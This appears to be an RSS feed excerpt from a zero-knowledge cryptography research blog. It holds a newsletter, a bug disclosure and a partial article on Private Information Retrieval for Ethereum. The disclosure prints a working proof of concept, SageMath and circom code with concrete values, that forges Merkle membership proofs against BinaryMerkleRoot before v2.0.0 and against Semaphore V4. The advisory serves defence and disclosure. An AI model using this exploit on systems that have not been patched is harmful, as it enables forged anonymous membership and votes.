cases for verifiable fully homomorphic encryption (vFHE) in collaboration with OpenFHE, and trying some initial tests using LaBRADOR/Lazer and Lattirust/LaBRADOR libraries. Up next is writing some simple proof gadgets (like base decomposition) using lattice-based proof system, studying bootstrapping constraints, and aiming towards a concrete Devconnect demo. ### [Private Proof Delegation](https://pse.dev/en/projects/private-proof-delegation) Our recent blog post explores tradeoffs in a [TEE-based proving prototype](https://pse.dev/en/blog/tee-based-ppd). With that work complete, we’re now prototyping an FHE-SNARK-based proof of concept using OpenFHE. The goal is privacy-preserving delegation with minimal trust in hardware. ### [PlasmaFold](https://pse.dev/projects/plasma-fold) We’re close to completing an initial implementation of PlasmaFold, a folding-based protocol for scalable commitments. Early results are promising for rollup-friendly verification. Next steps include benchmarking and finalizing the paper. ### [Indistinguishability Obfuscation (iO)](https://pse.dev/en/projects/machina-io) The iO team has simplified the **Diamond iO** construction and improved performance benchmarks. We’ve published updated analysis of its security assumptions, including all-product and evasive LWE, in [our new paper](https://eprint.iacr.org/2025/236.pdf). We also found a specific construction of pseudorandom function (PRF) adopted only in the implementation might have a security vulnerability. Although this does not affect the security of our theoretical construction because it assumes the black-box use of PRF, we are researching an alternative PRF construction that is secure and practical enough. Next month we will be trying new theoretical techniques to support non-linear operations on BGG+ encodings and GPU implementation for lattice trapdoor operations. ## ⚙️ Development Highlights ### [TLSNotary](https://pse.dev/en/projects/tlsn) The [alpha.11 release](https://tlsnotary.org/) added SHA-256 hash commitments, simplified notary setup, and significantly reduced prover upload sizes — especially helpful on mobile and poor connections. The team held a retreat in Belgium to roadmap next steps, including deeper integration into plugin systems and broader TEE/zkTLS exploration. They also launched a [**new Docusaurus-based website**](https://tlsnotary.org) which combines the landing page and documentation. ### [MACI](https://pse.dev/en/projects/maci) MACI is being battle-tested across governance integrations. Recent milestones include an Aragon plugin built on OSx, voting mode updates for v3, and deployment across several zkEVMs. We're benchmarking costs across L2s and preparing for cross-chain governance experiments. Collaborations are underway with Gitcoin, Agora, SIV, and Shutter Network, with a demo of MACI on Aragon scheduled for June. ### [zk-kit](https://pse.dev/en/projects/zk-kit) This month has been focused on opening zk-kit into being a more community-owned project, new website and contribution guide coming soon! We invite peer projects in our ecosystem to lift modular components that can be useful to others, and contribute to ZK-Kit. ### [MPC Framework](https://pse.dev/en/projects/mpc-framework) We released a [cross-browser 5PC demo](https://youtu.be/3fwUf1wn_3o?si=NsKh_HAul7VggKF-) and a [major update to Summon](https://pse.dev/en/blog/summon-major-update). Our current work includes SHA256 support, performance tuning, and integrating with MPZ and Polytune. The team is also bringing the framework to new audiences via talks at Rust Sydney, ZuBerlin, EthCC, and SydJS. ### [Mopro](https://pse.dev/en/projects/mopro) Mopro continues to power zkID integrations across platforms. We released a [mobile version of Stealthnote](https://github.com/vivianjeng/stealthnote-mobile) with 10x performance gains, added new FFI and simulator tools, released [extensive performance benchmarks,](https://zkmopro.org/docs/performance/#halo2) and [published a blog post](https://zkmopro.org/blog/noir-integraion/) detailing how Noir has been integrated into the Mopro project. GPU acceleration efforts are progressing, with upcoming work targeting Android and web environments. ### [Semaphore](https://pse.dev/en/projects/semaphore) Semaphore is expanding into mobile and scaling up. We’ve added Ethereum mainnet support, supported research on PIR, and started a grant to bring Semaphore to Noir. At ETHDam, we spoke on scaling public goods and [shared slides](https://www.canva.com/design/DAGmbisSaxA/QHrzV9kVOgfRMDrZUEKqvQ/edit). Upcoming events include ZuBerlin and NoirHack. We're collaborating with the Mopro team to bring Semaphore-rs to more mobile-compatible environments, with a goal of demonstrating Semaphore V4 on phones. We're also in ongoing discussions with Worldcoin, particularly around shared research directions in PIR. ]]> newsletter post quantum cryptography private proof delegation client side proving machina io voprf tlsnotary maci zk-kit mpc framework mopro semaphore <![CDATA[Under-Constrained Bug in BinaryMerkleRoot Circuit (Fixed in v2.0.0)]]> https://pse.dev/blog/under-constrained-bug-in-binary-merkle-root-circuit-fixed-in-v200 https://pse.dev/blog/under-constrained-bug-in-binary-merkle-root-circuit-fixed-in-v200 Tue, 01 Jul 2025 00:00:00 GMT <![CDATA[A bug in the BinaryMerkleRoot circuit allowed invalid Merkle tree leaves to produce valid zero-knowledge proofs due to missing constraints.]]> <![CDATA[ **Summary**: A bug in the [BinaryMerkleRoot](https://github.com/privacy-scaling-explorations/zk-kit.circom/blob/binary-merkle-root.circom-v1.0.0/packages/binary-merkle-root/src/binary-merkle-root.circom) circuit allowed users to generate valid zero-knowledge proofs with leaves that were not part of the Merkle tree. The issue stemmed from missing constraints on the binary selectors in the [MultiMux1](https://github.com/iden3/circomlib/blob/master/circuits/mux1.circom#L21) circuit. This has been fixed in version [2.0.0](https://github.com/privacy-scaling-explorations/zk-kit.circom/releases/tag/binary-merkle-root.circom-v2.0.0) by enforcing that all indices are binary inside the circuit. ## Timeline On May 28th, the [OtterSec team](https://osec.io/) contacted the ZK-Kit team to report an under-constrained bug in the [BinaryMerkleRoot](https://github.com/privacy-scaling-explorations/zk-kit.circom/blob/binary-merkle-root.circom-v1.0.0/packages/binary-merkle-root/src/binary-merkle-root.circom) circuit. We sincerely thank the two primary researchers from OtterSec who discovered the bug and provided code examples demonstrating it: Quasar and Tuyết. PSE has worked with OtterSec to identify projects vulnerable and reached out to them. We would also like to thank the [zkSecurity](https://www.zksecurity.xyz/) team, who reached out on June 25 to report the same bug and contributed to identifying and contacting potentially affected projects. After discussions with OtterSec and projects using this circuit to determine the most secure and robust way to address the issue, a fix was pushed, reviewed, and a new version of `BinaryMerkleRoot` was released on June 30 🎉: [v2.0.0](https://github.com/privacy-scaling-explorations/zk-kit.circom/releases/tag/binary-merkle-root.circom-v2.0.0) ## Technical details When using the [MultiMux1](https://github.com/iden3/circomlib/blob/master/circuits/mux1.circom#L21) circuit, it's essential to ensure that the selector is 0 or 1. The `BinaryMerkleRoot` circuit was missing the constraints to enforce this. These constraints might not be necessary in projects that: - Validate binary values in a separate circuit (outside this one), or - Use a circuit like [Num2Bits](https://github.com/iden3/circomlib/blob/master/circuits/bitify.circom#L25), which ensures outputs are 0 or 1. Circuits like [Semaphore V4](https://github.com/semaphore-protocol/semaphore/blob/v4.11.1/packages/circuits/src/semaphore.circom), which do not verify that path indices are binary (0 or 1) outside the circuit, are affected. Any circuit using `BinaryMerkleRoot` versions prior to `2.0.0` without enforcing binary constraints externally may also be affected. This issue makes it possible to generate a valid zero-knowledge proof with a leaf that is not in the Merkle tree, which would still verify successfully. Similarly, an attacker could generate a valid Semaphore V4 proof. ### Solution Changes to `BinaryMerkleRoot`: 1. Replaced `indices[MAX_DEPTH]` with `index`: Instead of passing an array of indices representing the Merkle path, the circuit now takes a single decimal `index`, whose binary representation defines the path. 2. Added before the `for` loop: `signal indices[MAX_DEPTH] <== Num2Bits(MAX_DEPTH)(index);` This line converts the decimal `index` into its binary representation. See the full update in this [pull request](https://github.com/privacy-scaling-explorations/zk-kit.circom/pull/25). If you need the circuit without the new constraints, please continue using version: `1.0.0` of the `BinaryMerkleRoot` circuit. With this bug fix, the Semaphore V4 circuit is being updated to use the latest version of `BinaryMerkleRoot`. A new trusted setup ceremony will be conducted, and all related Semaphore packages and contracts will be updated accordingly. ## Reproducing the Bug Install [SageMath](https://www.sagemath.org/), version [10.5](https://github.com/3-manifolds/Sage_macOS/releases/tag/v2.5.0) was used for the code below, which generates test values to reproduce the bug. Given a commitment and its Merkle siblings, it's possible to take a different commitment and find a new set of siblings and indices that produce the same root. ```py # normal pair from exploit target0 = 5407869850562333726769604095330004527418297248703115046359956082084347839061 target1 = 18699903263915756199535533399390350858126023699350081471896734858638858200219 p = 21888242871839275222246405745257275088548364400416034343698204186575808495617 def mux(x, y, sel): return [ ((y - x)*sel + x) % p, ((x - y)*sel + y) % p, ] F = GF(p)['sel, S'] N = 8501798477768465939972755925731717646123222073408967613007180932472889698337 # evil commitment sel, S = F.gens() m = mux(N, S, sel) I = Ideal([m[0] - target0, m[1] - target1]) v = I.variety()[0] print("sel:", v[sel]) print("S:", v[S]) ``` ## Impact on ZK-Kit BinaryMerkleRoot circuit The following code can be tested on [zkrepl](https://zkrepl.dev/). Examples will be provided for proof lengths 1 and 2, but the same approach applies to proofs of greater length as well. ### Proof Length 1 #### Steps 1. Assign the value `5407869850562333726769604095330004527418297248703115046359956082084347839061` to `target0`. 2. Assign the value: `18699903263915756199535533399390350858126023699350081471896734858638858200219` to `target1`. 3. Set `N` to the commitment you want to test. For this example, use `8501798477768465939972755925731717646123222073408967613007180932472889698337`. 4. You will get two values: `sel` (used in `evilmerkleProofIndices`) and `S` (used in `evilmerkleProofSiblings`). ![Sage Math ZK-Kit Proof Length 1](/articles/under-constrained-bug-in-binary-merkle-root-circuit-fixed-in-v200/sage-math-zk-kit-proof-length-1.webp) #### Circom Code ```circom pragma circom 2.1.5; include "circomlib/circuits/poseidon.circom"; include "circomlib/circuits/mux1.circom"; include "circomlib/circuits/comparators.circom"; // Copy/paste BinaryMerkleRoot circuit from https://github.com/privacy-scaling-explorations/zk-kit.circom/blob/binary-merkle-root.circom-v1.0.0/packages/binary-merkle-root/src/binary-merkle-root.circom template Poc () { // Root: 11531730952042319043316244572610162829336743623472270581141123607628087976577 // / \ // 5407869850562333726769604095330004527418297248703115046359956082084347839061 18699903263915756199535533399390350858126023699350081471896734858638858200219 var identityCommitment = 5407869850562333726769604095330004527418297248703115046359956082084347839061; var merkleProofLength = 1; var merkleProofIndices[12] = [ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]; var merkleProofSiblings[12] = [ 18699903263915756199535533399390350858126023699350081471896734858638858200219, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]; var root = BinaryMerkleRoot(12)(identityCommitment, merkleProofLength, merkleProofIndices, merkleProofSiblings); log("========================================="); var evilidentityCommitment = 8501798477768465939972755925731717646123222073408967613007180932472889698337; var evilmerkleProofLength = 1; var evilmerkleProofIndices[12] = [ 18511496158608553025564813493375997586708949594403917543049321156580578626782, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]; var evilmerkleProofSiblings[12] = [ 15605974636709623986332381568988637739421098874644228905249510008250316340943, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]; var evilroot = BinaryMerkleRoot(12)(evilidentityCommitment, evilmerkleProofLength, evilmerkleProofIndices, evilmerkleProofSiblings); log("root", root); log("evilroot", evilroot); } component main = Poc(); /* INPUT = { } */ ``` #### Result Identical roots: ``` root 11531730952042319043316244572610162829336743623472270581141123607628087976577 evilroot 11531730952042319043316244572610162829336743623472270581141123607628087976577 ``` ### Proof Length 2 #### Steps 1. Use the two nodes that generate the root as `target0` and `target1`, respectively. 2. Set the first value of `evilMerkleProofIndices` to 0. 3. Use your chosen value for `evilMerkleProofSiblings[0]`. 4. Set `evilIdentityCommitment` to the commitment you want to test. For this example, use `20487509512443004370293742889271596038604851758367067799025496182227063091563`. 5. For N, compute the Poseidon hash of `evilIdentityCommitment` and the sibling value you provided for `evilMerkleProofSiblings[0]`. 6. The program will then generate two new values, these correspond to `evilMerkleProofIndices[1]` and `evilMerkleProofSiblings[1]`. ![Sage Math ZK-Kit Proof Length 2](/articles/under-constrained-bug-in-binary-merkle-root-circuit-fixed-in-v200/sage-math-zk-kit-proof-length-2.webp) #### Circom Code ```circom pragma circom 2.1.5; include "circomlib/circuits/poseidon.circom"; include "circomlib/circuits/mux1.circom"; include "circomlib/circuits/comparators.circom"; // Copy/paste BinaryMerkleRoot circuit from https://github.com/privacy-scaling-explorations/zk-kit.circom/blob/binary-merkle-root.circom-v1.0.0/packages/binary-merkle-root/src/binary-merkle-root.circom template Poc () { // Root: 3330844108758711782672220159612173083623710937399719017074673646455206473965 // / \ // 7853200120776062878684798364095072458815029376092732009249414926327459813530 14763215145315200506921711489642608356394854266165572616578112107564877678998 // / \ / \ // 1 2 3 4 var identityCommitment = 1; var merkleProofLength = 2; var merkleProofIndices[10] = [ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]; var merkleProofSiblings[10] = [ 2, 14763215145315200506921711489642608356394854266165572616578112107564877678998, 0, 0, 0, 0, 0, 0, 0, 0 ]; var root = BinaryMerkleRoot(10)(identityCommitment, merkleProofLength, merkleProofIndices, merkleProofSiblings); log("========================================="); var evilidentityCommitment = 20487509512443004370293742889271596038604851758367067799025496182227063091563; var evilmerkleProofLength = 2; var evilmerkleProofIndices[10] = [ 0, 20090961965327877873740014701675383996709275086978553778175856788671012923384, 0, 0, 0, 0, 0, 0, 0, 0 ]; var evilmerkleProofSiblings[10] = [ 123, 7220940974207102838199646378738698939797703046232240580227300284330411250489, 0, 0, 0, 0, 0, 0, 0, 0 ]; var evilroot = BinaryMerkleRoot(10)(evilidentityCommitment, evilmerkleProofLength, evilmerkleProofIndices, evilmerkleProofSiblings); log("root", root); log("evilroot", evilroot); } component main = Poc(); /* INPUT = { } */ ``` #### Result Identical roots: ``` root 3330844108758711782672220159612173083623710937399719017074673646455206473965 evilroot 3330844108758711782672220159612173083623710937399719017074673646455206473965 ``` ## Impact on Semaphore The following code can be tested on [zkrepl](https://zkrepl.dev/). #### Steps 1. Create a Semaphore identity and assign its `secretScalar` to `secret`. 2. Assign `merkleProofLength`, `merkleProofIndices` and `merkleProofSiblings`, according to the tree. 3. Assign the `secretScalar` of the identity you want to test to `evilsecret`. The identity for the example is a deterministic Semaphore identity with private key: `"123456"`. 4. Assign the value `18699903263915756199535533399390350858126023699350081471896734858638858200219` to `target0`. 5. Assign the value: `15684639248941018939207157301644512532843622097494605257727533950250892147976` to `target1`. 6. Set `N` to the commitment of the Semaphore identity with secret scalar `evilsecret`, in this case `6064632857532276925033625901604953426426313622216578376924090482554191077680`. 7. You will get two values: `sel` (used in `evilmerkleProofIndices`) and `S` (used in `evilmerkleProofSiblings`). 8. Use any values you prefer for `message`, `scope`, `evilmessage` and `evilscope`. ![Sage Math Semaphore](/articles/under-constrained-bug-in-binary-merkle-root-circuit-fixed-in-v200/sage-math-semaphore.webp) #### Circom Code ```circom pragma circom 2.1.5; include "circomlib/circuits/poseidon.circom"; include "circomlib/circuits/mux1.circom"; include "circomlib/circuits/comparators.circom"; include "circomlib/circuits/babyjub.circom"; // Copy/paste BinaryMerkleRoot circuit from https://github.com/privacy-scaling-explorations/zk-kit.circom/blob/binary-merkle-root.circom-v1.0.0/packages/binary-merkle-root/src/binary-merkle-root.circom // Copy/paste Semaphore circuit from https://github.com/semaphore-protocol/semaphore/blob/v4.11.1/packages/circuits/src/semaphore.circom template Poc () { // Root: 4905128572429258830106379299856267023583307500817503813881845182698965800745 // / \ // 18699903263915756199535533399390350858126023699350081471896734858638858200219 15684639248941018939207157301644512532843622097494605257727533950250892147976 var secret = 1978755119068081247093963160279604962264019399313700915496711871956252953559; var merkleProofLength = 1; var merkleProofIndices[10] = [ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]; var merkleProofSiblings[10] = [ 15684639248941018939207157301644512532843622097494605257727533950250892147976, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]; var message = 123; var scope = 1; var (root, nullifier) = Semaphore(10)(secret, merkleProofLength, merkleProofIndices, merkleProofSiblings, message, scope); log("========================================="); var evilsecret = 1352222402399481130087448567392608653639881123399864909525072050336173771260; var evilmerkleProofLength = 1; var evilmerkleProofIndices[10] = [ 9228398241747548072288697997709004271591955927781758657125859189315051293271, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]; var evilmerkleProofSiblings[10] = [ 6431666783485222991462659054172634875994967774212074009001974139759750774898, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]; var evilmessage = 123; var evilscope = 1; var (evilroot, evilnullifier) = Semaphore(10)(evilsecret, evilmerkleProofLength, evilmerkleProofIndices, evilmerkleProofSiblings, evilmessage, evilscope); log("root", root); log("evilroot", evilroot); } component main = Poc(); /* INPUT = { } */ ``` #### Result Identical roots: ``` root 4905128572429258830106379299856267023583307500817503813881845182698965800745 evilroot 4905128572429258830106379299856267023583307500817503813881845182698965800745 ``` ]]> zero-knowledge ZK-Kit circom Semaphore MACI <![CDATA[Ethereum Privacy: Private Information Retrieval]]> https://pse.dev/blog/ethereum-privacy-pir https://pse.dev/blog/ethereum-privacy-pir Wed, 18 Jun 2025 00:00:00 GMT <![CDATA[Private Information Retrieval can enhance Ethereum privacy.]]> <![CDATA[ _Thanks to [Cperezz](https://github.com/cperezz), [Vivian](https://github.com/vplasencia) and [Oskar](https://github.com/oskarth) for feedback and review._ Ethereum presents several [privacy challenges](https://hackmd.io/@pcaversaccio/ethereum-privacy-the-road-to-self-sovereignty#Status-Quo). One of them is that read operations can expose user data and behavior patterns, potentially leading to [deanonymization](https://en.wikipedia.org/wiki/Data_re-identification). In this scenario, users are safe only if they run their own node or host the data locally. Otherwise, all requests go through third parties, such as relayers, providers, and [wallets that process IP addresses](https://consensys.io/privacy-notice). [Private Information Retrieval](https://crypto.stanford.edu/pir-library/) provides a solution, enabling users to request information from a server using an **obfuscated query**, ensuring the server doesn't know which item was retrieved. Recent progress makes PIR an option for practical deployment in some scenarios. Query privacy can be achieved with bandwidth costs on the order of kilobytes and server throughput capable of handling medium-sized databases. ## Introduction Information in Ethereum and privacy solutions such as Semaphore use [Merkle Trees](https://blog.ethereum.org/2015/11/15/merkling-in-ethereum) to store its data, since this allows efficient verification with Merkle proofs. Read operations, like checking an account balance or getting sibling nodes to prove group membership, require specifying a target like an [account address](https://github.com/ethereum/execution-apis/blob/884fb32bfefe232fe5ab30a7fc370b6cf83f3afa/src/eth/state.yaml#L17) or a [specific identity](https://github.com/privacy-scaling-explorations/zk-kit.circom/blob/db25c40b6678e15977c5343fc0dfb0857766a1d6/packages/binary-merkle-root/src/binary-merkle-root.circom#L19). This exposes the user's intents to the node or the server hosting the data and any other network observer. Merkle trees can become [prohibitively large](https://docs.google.com/spreadsheets/d/17gvQMLuZ6jXnWRCFNOQCVl-ZJr18FoTHZVX1cGrf-po/edit?gid=0) for local storage, particularly on resource-constrained devices like smartphones. A tree with $2^{20}$ (~1 million) 32-byte leaves is 32 MB, and scales to 1 GB for $2^{25}$ (~33 million) leaves. Having the user download 1 GB every time they need to create a proof (and the tree is updated) is not practical. Being synced with the server for every update would be a high network cost, and not possible in many scenarios. ## Private Information Retrieval Private Information Retrieval is a cryptographic technique that enables a client to fetch a specific item from a server-held database without revealing which item was accessed. The client sends an encrypted or masked query to the server, which processes it, and the response can only be interpreted by the client. ### Main Categories #### Single Server Single server PIR schemes rely on computational hardness assumptions, often related to [homomorphic encryption primitives](https://medium.com/thecapital/cryptography-101-ring-learning-with-errors-ff2708a8a530). An example is [Spiral](https://eprint.iacr.org/2022/368). The client communicates with only one server, and this performs the computations directly on the encrypted data. This creates an imbalance in computational burden, making most of it fall on the server side. #### Multi Server In this setting, a user downloads a single message out of a set of messages stored in multiple non-colluding and replicated databases. This can be achieved by sending randomized queries to each server and combining the responses to get the desired message. This mechanism is better described in this [paper](https://arxiv.org/pdf/2304.14397). It is less computationally demanding but introduces non-collusion assumptions and has higher communication overhead. > ℹ️ For the rest of the post, we will focus on Single Server PIR. ### Query Format For single server PIR, we can categorize schemes based on their query format. #### Key based The PIR query is formulated using a unique identifier for the desired data item. The server treats its data store as a key-value database. This offers the advantage that users do not need to know a numerical index corresponding to their target item, as the scheme handles the key-value mapping directly. However, this approach comes with extra costs for database encoding and the mapping process itself. An example is [Chalamet PIR](https://eprint.iacr.org/2024/092.pdf), which has a [Rust implementation](https://github.com/claucece/chalamet)! #### Index based This approach involves preprocessing the database by enumerating all items into an ordered structure, like a flat array. To formulate the query, the client needs to specify the numerical index of the element they want. Index-based PIR schemes are more efficient, but require maintaining and updating the item-to-index mapping whenever the underlying database changes. For frequently changing databases, keeping this map updated can be a challenge, but using an append-only mapping strategy can simplify it. ## Application 1: Private Merkle Proof Generation Merkle proofs enable verification of existence within a Merkle tree. When combined with zero-knowledge circuits, they allow you to prove that something belongs to a tree without revealing what it is. As an example, if the tree is a group of people, you can prove you're a member without disclosing your identity. [Semaphore](https://docs.semaphore.pse.dev/) leverages this, enabling you to cast a **signal**, which can be a vote or a message, as a provable group member while preserving your anonymity. [World ID](https://world.org/world-id) uses Semaphore to allow you to anonymously and securely verify that you are a [real and unique human](https://world.org/blog/developers/the-worldcoin-protocol). Group members are stored in a [Lean Incremental Merkle Tree](https://github.com/privacy-scaling-explorations/zk-kit/tree/main/papers/leanimt) (LeanIMT). It's a Poseidon-based append-only binary tree, with 32-byte nodes and leaves. World ID has [~13 million members](https://world.org/blog/world/world-id-faqs), and the tree is too large for users to store and update locally. They currently rely on an [indexing service](https://whitepaper.world.org/#verification-process) that retrieves the inclusion proof on behalf of the user. > 🚨 But this allows the indexer to associate the requester's IP address to their public key So, in order to [scale Semaphore](https://hackmd.io/@brech1/scale-semaphore) while keeping its privacy guarantees, we should find a way around it. ### Proposed Solution Users can fetch the tree `root` and `size` without disclosing any information. The LeanIMT has a deterministic structure based on its `size`, so we can compute the indices involved in the Merkle proof for a given leaf (see the [implementation](https://github.com/privacy-scaling-explorations/zk-kit.rust/blob/main/crates/lean-imt/src/stateless.rs)). With the calculated indices, users can then use PIR to fetch them and generate the Merkle proofs locally. This solution is feasible only if the tree nodes and leaves needed for the Merkle proof can be determined without accessing the full tree data. Otherwise, a solution such as implementing a [Multi-Party Computation](https://mirror.xyz/privacy-scaling-explorations.eth/v_KNOV_NwQwKV0tb81uBS4m-rbs-qJGvCx7WvwP4sDg) with the server to execute a `get_merkle_path_indices(i)` function, without the server learning the leaf index, would need to be developed. This path would be **highly impractical**, as it is neither straightforward nor efficient. ## Application 2: Private Ethereum State Reads Ethereum's [World State](https://epf.wiki/#/wiki/EL/data-structures?id=world-state-trie), stored in Merkle-Patricia Tries, maps addresses to Externally Owned Accounts and contracts state. Standard RPC calls (`eth_getBalance`, `eth_call`, `eth_getStorageAt`) for tasks like balance checks expose: - Queried addresses or contract slots. - Query timing and frequency. - User's IP and device fingerprint. This metadata allows the RPC endpoint to profile and potentially deanonymize users. With around [320 million active EOAs](https://etherscan.io/chart/address) as of June 2025, local trie storage is impractical for standard consumer hardware. This becomes even worse after [EIP-7702](https://github.com/ethereum/EIPs/blob/master/EIPS/eip-7702.md) since EOAs now also store code. ### Proposed Solution PIR can enable private state reads for balance lookups and contract state reads. For instance, wallets could fetch Ether or token balances and NFTs anonymously. A great working example of this is [sprl.it](https://sprl.it/) for ENS resolution. > ⚠️ Keep in mind that contract state reads wouldn't be possible in many cases where the contracts are already too big (jump to the benchmarks for specifics), or if we don't want to disclose which contracts we're interested in. Unlike Semaphore's LeanIMT, Merkle-Patricia Tries lack a deterministic structure based on known parameters, complicating data index computation. There are at least two ways around this: - **Key-Based PIR**: Schemes like [Chalamet PIR](https://eprint.iacr.org/2024/092.pdf) query by address, treating the trie as a key-value database, which is also [Ethereum's case](https://geth.ethereum.org/docs/fundamentals/databases), avoiding index computation but increasing encoding and usage costs. - **Index-Based PIR with MPC**: A server-side `address -> index` map is maintained and queried via 2-Party Computation, followed by index-based PIR. #### What about logs? [Logs](https://info.etherscan.com/what-is-event-logs/) could be a way around the huge state if we limit the scope in time and operations we're interested in (+1 for [EIP-7708](https://ethereum-magicians.org/t/eip-7708-eth-transfers-emit-a-log/20034)). Even though indexing problems don't get easier, building something like a private [EthReceipts](https://github.com/daimo-eth/ethreceipts) can be practical due to the small size of the base data, providing a solution for one of the most common use cases for block explorers. [QuietRPC](https://github.com/oskarth/quietrpc/tree/main) is exploring a private RPC solution based on logs and two-hop PIR. ### Data Verification PIR guarantees private retrieval but not data correctness, and standard RPC assumes provider honesty. The `eth_getProof` RPC method could be used to verify data, like [light clients do](https://github.com/a16z/helios?tab=readme-ov-file#ethereum), but it would expose the accessed information. State verification with PIR is currently not practical. Privately fetching and calculating the indices needed for a Merkle proof is too complex for Ethereum's MPT. This shouldn't discourage us from implementing PIR-based solutions, since privacy is guaranteed, but it's an open question how to offset the server trust. ## Respire [Respire](https://eprint.iacr.org/2024/1165) is a single-server PIR scheme tailored for databases of small records (~256 bytes). This can be a common scenario in blockchain applications that rely on Merkle trees to store their data, since nodes tend to be short hashes. Its security relies on the computational hardness of lattice problems, specifically Ring-LWE. A [deep dive session](https://www.youtube.com/watch?v=Nf4IZ2kTPN4) on Respire is available, presented by professor David J. Wu. ### Efficiency for Small Records Respire is optimized for retrieving small records. Retrieving a single 256-byte record from a database of over a million entries requires only about 6 KB of total data exchange, so the communication overhead is minimized, enabling high rates (record size/response size). ### Batch Query Support Respire has support for batch queries, using cuckoo hashing, allowing a client to request multiple items simultaneously. For Merkle proofs, this means a client can fetch all sibling hashes along a path (e.g., 20 hashes) in one go. Retrieving 10–20 records might cost only about 1.5x the bandwidth of a single record query. However, the computational costs for the database encryption and server answer increase significantly with the batch size. ### No Offline Setup/Hint Unlike some PIR schemes that require a large "hint" to be pre-downloaded by the client or an expensive one-time offline setup by the server for each client, Respire operates without such a client-side pre-download. ### Implementation Respire has a [Rust implementation](https://github.com/AMACB/respire) available. ### Mechanics These are the steps involved in a Respire private information retrieval: 1. **Server Preprocessing**: The server preprocesses the database into a structure ready to perform homomorphic operations. If the database data wants to be updated, this process should run again. 2. **Client Public Parameters Generation**: The client generates reusable public parameters (similar to a public key) that the server uses to process the query. They only have to be generated and transmitted once, at the beginning of the client-server connection. 3. **Client Query Generation**: The client constructs an encrypted query vector. Conceptually, this vector has a 1 at the index of the desired item and 0s elsewhere, but the entire vector is encrypted, so the server can't see the position of the 1. 4. **Server Answer Computation**: The server homomorphically applies this encrypted query to the encrypted database and returns the encrypted answer. 5. **Client Decryption**: The client decrypts to obtain the plaintext answer. ## Performance Evaluation A [benchmarking codebase](https://github.com/brech1/tree-pir) was created for the performance evaluation, with the main goal being to test Respire with LeanIMTs. The trees are generated with the `semaphore-rs` group module, and then flattened. Results of $2^n$ member groups (or leaves) mean dealing with a $2^{n+1} - 1$ element database. [Criterion](https://github.com/bheisler/criterion.rs) was used as benchmarking crate, the settings for each benchmark can be explored in the repository. All elements (leaves and nodes) are 32-byte long. They were executed on a AWS EC2 [r7i.8xlarge](https://aws.amazon.com/ec2/instance-types/#Memory_Optimized) instance: - **Processor**: 4th Generation Intel Xeon - **vCPUs**: 32 - **Memory**: 256 GB DDR5 - **Cost**: ~2 USD/hr All measurements are on a single thread. A much cheaper instance type could be used, but for benchmarking a DB of size $2^{25}$ elements, the DB encoding is quite memory-intensive. Raw results are published [here](https://docs.google.com/spreadsheets/d/1aWtgHQB3GE7rmz0DwWZLO2zrvnvD1WuNbzSyhygye_M/edit?usp=sharing). Each section has the result for both single and multiple element (or batch) benchmarks: - **Single Element Request**: Executes a request for a single 32-byte record. - **Batch Request**: Executes a request of $n-1$ elements for a database of size $2^n$. This is tied to LeanIMTs being binary trees, so we could need up to $n$ siblings and the root to construct the merkle proofs. **Database Size** is expressed in amount of elements. To keep in mind: - **$2^{13}$** = 8,192 elements (0.25 MB) - **$2^{17}$** = 131,072 elements (4 MB) - **$2^{21}$** = 2,097,152 elements (64 MB) - **$2^{25}$** = 33,554,432 elements (1 GB) ### Computational This table displays the execution times of each step of the PIR request. | Database Size | Setup (ms) | Encode DB (s) | Query (ms) | Answer (s) | Extract (µs) | | :------------ | :--------- | :------------ | :--------- | :--------- | :----------- | | **Single** | | | | | | | $2^{13}$ | 47.185 | 0.038145 | 0.425 | 0.16466 | 24.132 | | $2^{17}$ | 47.559 | 0.76478 | 0.424 | 0.30939 | 27.503 | | $2^{21}$ | 47.498 | 15.105 | 0.426 | 1.1226 | 24.803 | | $2^{25}$ | 47.018 | 278.51 | 0.429 | 9.567 | 29.909 | | **Batch** | | | | | | | $2^{13}$ | 49.96 | 2.0136 | 10.299 | 4.8099 | 148.41 | | $2^{17}$ | 56.888 | 4.822 | 12.179 | 6.0517 | 256.96 | | $2^{21}$ | 57.191 | 52.777 | 17.339 | 12.544 | 252.55 | | $2^{25}$ | 56.39 | 1220.73 | 68.88 | 85.54787 | 259 | **Client Side** Client side operations (`setup`, `query_generation`, `answer_extraction`) are quite performant on both single and batch requests. Extraction times are sub-ms, the setup is relatively constant with the worst case being 57 ms, and the query can get up to 68 ms on batch requests but is constant on .42 ms for single element ones. **Server Side** The server side operations take the heavy burden. Database encoding times grow significantly with the database size, becoming a real issue for frequently updated databases if we're dealing with large batches on big databases. For single-requests, it could take up to 4.5 minutes to encode a database of 33M elements. For batch requests, 20 minutes, but keep in mind that it is heavily impacted by the large batch of 20 elements, since Respire uses [Cuckoo Hashing](https://cs.stanford.edu/~rishig/courses/ref/l13a.pdf) to allow batch requests, larger batches require more redundancies, so more processing. Smaller batches could have much better results. Generating the encrypted answer is relatively acceptable, being the worst cases 9.5 s for single requests and 85 s for batch requests. ### Communication This table displays the sizes of the transmitted elements between client and server. | Database Size | Public-Params Size (MB) | Query Size (KB) | Answer Size (KB) | | :------------ | :---------------------- | :-------------- | :--------------- | | **Single** | | | | | $2^{13}$ | 11.17 | 0.91 | 3.02 | | $2^{17}$ | 11.17 | 1.89 | 3.01 | | $2^{21}$ | 11.17 | 5.41 | 3.03 | | $2^{25}$ | 11.17 | 19.05 | 3.02 | | **Batch** | | | | | $2^{13}$ | 11.33 | 23.49 | 12.95 | | $2^{17}$ | 12.19 | 35.27 | 12.94 | | $2^{21}$ | 12.19 | 96.63 | 12.97 | | $2^{25}$ | 12.19 | 753.59 | 14.94 | **Public Parameters**: ~12 MB but just have to be transmitted once. **Query**: Low for single queries, 0.75 MB for batch of 24 elements. **Answer**: Constant 3 KB for single queries and max of 15 KB for batch queries. ### Roundtrip Below is a table displaying the total roundtrip times with and without the client public parameters generation and the database encoding, which can be skipped if the database hasn't been updated. | Database Size | Roundtrip (s) | Roundtrip + Setup + Encode (s) | | :------------ | ------------: | -----------------------------: 